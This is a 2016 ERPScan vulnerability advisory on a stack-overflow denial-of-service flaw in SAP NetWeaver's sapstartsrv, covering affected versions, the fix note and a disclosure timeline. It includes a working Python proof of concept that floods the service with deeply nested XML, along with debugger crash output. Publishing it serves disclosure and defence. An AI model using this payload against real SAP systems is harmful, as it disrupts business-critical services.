SAP NetWeaver KERNEL 7.5 Buffer Overflow

`Application: SAP NetWeaver KERNEL  
  
Versions Affected: SAP NetWeaver KERNEL 7.0-7.5  
  
Vendor URL: http://SAP.com  
  
Bugs: Denial of Service  
  
Sent: 09.03.2016  
  
Reported: 10.03.2016  
  
Vendor response: 10.03.2016  
  
Date of Public Advisory: 12.07.2016  
  
Reference: SAP Security Note 2295238  
  
Author: Dmitry Yudin (ERPScan)  
  
  
  
Description  
  
  
1. ADVISORY INFORMATION  
  
Title: [ERPSCAN-16-030] SAP NetWeaver a buffer overflow vulnerability  
  
Advisory ID: [ERPSCAN-16-030]  
  
Risk: high  
  
Advisory URL: https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/  
  
Date published: 12.10.2016  
  
Vendors contacted: SAP  
  
  
2. VULNERABILITY INFORMATION  
  
Class: Denial of Service  
  
Impact: DoS  
  
Remotely Exploitable: yes  
  
Locally Exploitable: yes  
  
  
  
CVSS Information  
  
CVSS Base Score v3: 6.5 / 10  
  
CVSS Base Vector:  
  
AV : Attack Vector (Related exploit range) Network (N)  
  
AC : Attack Complexity (Required attack complexity) Low (L)  
  
PR : Privileges Required (Level of privileges needed to exploit) None (N)  
  
UI : User Interaction (Required user participation) None (N)  
  
S : Scope (Change in scope due to impact caused to components beyond  
the vulnerable component) Unchanged (U)  
  
C : Impact to Confidentiality None (N)  
  
I : Impact to Integrity Low (L)  
  
A : Impact to Availability Low (L)  
  
  
  
3. VULNERABILITY DESCRIPTION  
  
This vulnerability allows an attacker to send a special request to the  
SAPSTARTSRV process port and conduct stack buffer overflow (recursion)  
on the SAP server.  
  
  
4. VULNERABLE PACKAGES  
  
SAP KERNEL 7.21 32-BIT 625  
  
SAP KERNEL 7.21 32-BIT UNICODE 625  
  
SAP KERNEL 7.21 64-BIT 625  
  
SAP KERNEL 7.21 64-BIT UNICODE 625  
  
SAP KERNEL 7.21 EXT 32-BIT 625  
  
SAP KERNEL 7.21 EXT 32-BIT UC 625  
  
SAP KERNEL 7.21 EXT 64-BIT 625  
  
SAP KERNEL 7.21 EXT 64-BIT UC 625  
  
SAP KERNEL 7.22 64-BIT 113  
  
SAP KERNEL 7.22 64-BIT UNICODE 113  
  
SAP KERNEL 7.22 EXT 64-BIT 113  
  
SAP KERNEL 7.22 EXT 64-BIT UC 113  
  
SAP KERNEL 7.42 64-BIT 412  
  
SAP KERNEL 7.42 64-BIT UNICODE 412  
  
SAP KERNEL 7.45 64-BIT 113  
  
SAP KERNEL 7.45 64-BIT UNICODE 113  
  
  
5. SOLUTIONS AND WORKAROUNDS  
  
To correct this vulnerability, install SAP Security Note 2295238  
  
  
6. AUTHOR  
  
Dmitry Yudin (ERPScan)  
  
  
7. TECHNICAL DESCRIPTION  
  
7.1. Proof of Concept  
  
import socket  
PoC = """<?xml version="1.0" encoding="utf-8"?>  
  
<SOAP-ENV:Envelope  
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xs="http://www.w3.org/2001/XMLSchema">  
<SOAP-ENV:Header>  
<sapsess:Session  
xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">  
>""" + "<a>" * 100000 + "</a>" * 100000 + """ </sapsess:Session>  
</SOAP-ENV:Header>  
<SOAP-ENV:Body>  
<ns1:WW xmlns:ns1="urn:SAPControl">  
<b></b>  
<e><e>  
</ns1:WW>  
</SOAP-ENV:Body>  
</SOAP-ENV:Envelope>"""  
  
for i in range(1,5):  
sock = socket.socket()  
sock.connect(("SAP_IP", SAP_PORT))  
sock.send(PoC)  
  
Windbg exceptions  
  
sapstartsrv!soap_getutf8+0xa:  
00000001`4009cd2a e891f9ffff call sapstartsrv!soap_get  
(00000001`4009c6c0)  
  
rax=0000000000000000 rbx=000000000bcdcfb0 rcx=000000000bcdcfb0  
rdx=0000000000000061 rsi=0000000000000000 rdi=000000000bcdcfb0  
rip=000000014009cd2a rsp=0000000002b93ff0 rbp=000000000bcdcfb0  
r8=0000000134936c69 r9=0000000000000000 r10=0000000000000000  
r11=000000014061ee28 r12=0000000000000000 r13=000000000000270f  
r14=00000001409f8ba0 r15=0000000000000000  
iopl=0 nv up ei pl nz na po nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
  
  
  
8. REPORT TIMELINE  
  
Sent: 09.03.2016  
  
Reported: 10.03.2016  
  
Vendor response: 10.03.2016  
  
Date of Public Advisory: 12.07.2016  
  
  
  
9. REFERENCES  
  
https://erpscan.com/advisories/erpscan-16-030-sap-netweaver-sapstartsrv-stack-based-buffer-overflow/  
  
  
  
10. ABOUT ERPScan Research  
  
ERPScan research team specializes in vulnerability research and  
analysis of critical enterprise applications. It was acknowledged  
multiple times by the largest software vendors like SAP, Oracle,  
Microsoft, IBM, VMware, HP for discovering more than 400  
vulnerabilities in their solutions (200 of them just in SAP!).  
  
ERPScan researchers are proud of discovering new types of  
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The  
Best Server-Side Bug" nomination at BlackHat 2013.  
  
ERPScan experts participated as speakers, presenters, and trainers at  
60+ prime international security conferences in 25+ countries across  
the continents ( e.g. BlackHat, RSA, HITB) and conducted private  
trainings for several Fortune 2000 companies.  
  
ERPScan researchers carry out the EAS-SEC project that is focused on  
enterprise application security awareness by issuing annual SAP  
security researches.  
  
ERPScan experts were interviewed in specialized info-sec resources and  
featured in major media worldwide. Among them there are Reuters,  
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,  
Chinabyte, etc.  
  
Our team consists of highly-qualified researchers, specialized in  
various fields of cybersecurity (from web application to ICS/SCADA  
systems), gathering their experience to conduct the best SAP security  
research.  
  
11. ABOUT ERPScan  
  
ERPScan is the most respected and credible Business Application  
Cybersecurity provider. Founded in 2010, the company operates globally  
and enables large Oil and Gas, Financial, Retail and other  
organizations to secure their mission-critical processes. Named as an  
aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP  
Solution providersa and distinguished by 30+ other awards, ERPScan is  
the leading SAP SE partner in discovering and resolving security  
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to  
assist in improving the security of their latest solutions.  
  
ERPScanas primary mission is to close the gap between technical and  
business security, and provide solutions for CISO's to evaluate and  
secure SAP and Oracle ERP systems and business-critical applications  
from both cyberattacks and internal fraud. As a rule, our clients are  
large enterprises, Fortune 2000 companies and MSPs, whose requirements  
are to actively monitor and manage security of vast SAP and Oracle  
landscapes on a global scale.  
  
We afollow the suna and have two hubs, located in Palo Alto and  
Amsterdam, to provide threat intelligence services, continuous support  
and to operate local offices and partner network spanning 20+  
countries around the globe.  
  
  
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
  
Phone: 650.798.5255  
  
Twitter: @erpscan  
  
Scoop-it: Business Application Security  
`